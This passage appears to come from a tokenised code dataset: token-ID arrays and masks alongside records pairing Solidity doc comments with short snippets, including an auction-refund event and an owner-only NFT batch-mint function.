0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
5235,
8764,
288,
203,
565,
1958,
5267,
8764,
288,
203,
3639,
1758,
460,
31,
203,
565,
289,
203,
203,
565,
1958,
3411,
8764,
288,
203,
3639,
1426,
460,
31,
203,
565,
289,
203,
203,
565,
1958,
5985,
1578,
8764,
288,
203,
3639,
1731,
1578,
460,
31,
203,
565,
289,
203,
203,
565,
1958,
7320,
5034,
8764,
288,
203,
3639,
2254,
5034,
460,
31,
203,
565,
289,
203,
203,
565,
1958,
514,
8764,
288,
203,
3639,
533,
460,
31,
203,
565,
289,
203,
203,
565,
1958,
5985,
8764,
288,
203,
3639,
1731,
460,
31,
203,
565,
289,
203,
203,
565,
445,
14808,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
1887,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
14808,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
1887,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
12835,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
5507,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
12835,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
5507,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
8425,
1578,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
2160,
1578,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
8425,
1578,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
2160,
1578,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
336,
5487,
5034,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
5487,
5034,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
336,
5487,
5034,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
5487,
5034,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
4997,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
780,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
4997,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
780,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
4997,
8764,
12,
1080,
2502,
1707,
13,
2713,
16618,
1135,
261,
780,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
1707,
18,
14194,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
4997,
8764,
12,
1080,
2502,
1707,
13,
2713,
16618,
1135,
261,
780,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
1707,
18,
14194,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
8425,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
2160,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
8425,
8764,
12,
3890,
1578,
4694,
13,
2713,
16618,
1135,
261,
2160,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
4694,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
8425,
8764,
12,
3890,
2502,
1707,
13,
2713,
16618,
1135,
261,
2160,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
1707,
18,
14194,
203,
3639,
289,
203,
565,
289,
203,
565,
445,
8425,
8764,
12,
3890,
2502,
1707,
13,
2713,
16618,
1135,
261,
2160,
8764,
2502,
436,
13,
288,
203,
3639,
19931,
288,
203,
5411,
436,
18,
14194,
519,
1707,
18,
14194,
203,
3639,
289,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xDaf6F80AD2AFdC45014c59bfE507ED728656D11B/sources/contracts/AuctionMarketplace.sol
|
* @dev Emitted When A Bidder's ETH Is Rebated (The Bid They Are Trying To Top Up Was Frontran)/
|
event BidTopupRefunded(uint Rebate);
| 3,006,935 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
512,
7948,
5203,
432,
605,
350,
765,
1807,
512,
2455,
2585,
868,
70,
690,
261,
1986,
605,
350,
16448,
12520,
6161,
310,
2974,
7202,
1948,
28938,
478,
1949,
13171,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
871,
605,
350,
3401,
416,
1957,
12254,
12,
11890,
868,
70,
340,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0xe500D18e299818E810668A01BF7AbeD8D323d6B7/sources/project_/contracts/StrategicClubLifetimeNFT.sol
|
* Batch mint to a specific address @param to_ Receiver address @param amount_ Amount of tokens/
|
function mintBatchTo(
address to_,
uint256 amount_
) public onlyOwner {
require(amount_ > 0, "Cannot mint zero or less than zero tokens");
for (uint256 i = 0; i < amount_; i++) {
_safeMintTo(to_);
}
emit MultipleTokensMinted(totalSupply() - amount_, amount_);
}
| 3,754,239 |
[
1,
4625,
348,
7953,
560,
30,
380,
5982,
312,
474,
358,
279,
2923,
1758,
632,
891,
358,
67,
377,
31020,
1758,
632,
891,
3844,
67,
16811,
434,
2430,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
4497,
774,
12,
203,
3639,
1758,
358,
67,
16,
203,
3639,
2254,
5034,
3844,
67,
203,
565,
262,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
8949,
67,
405,
374,
16,
315,
4515,
312,
474,
3634,
578,
5242,
2353,
3634,
2430,
8863,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
3844,
67,
31,
277,
27245,
288,
203,
5411,
389,
4626,
49,
474,
774,
12,
869,
67,
1769,
203,
3639,
289,
203,
203,
3639,
3626,
13531,
5157,
49,
474,
329,
12,
4963,
3088,
1283,
1435,
300,
3844,
67,
16,
3844,
67,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
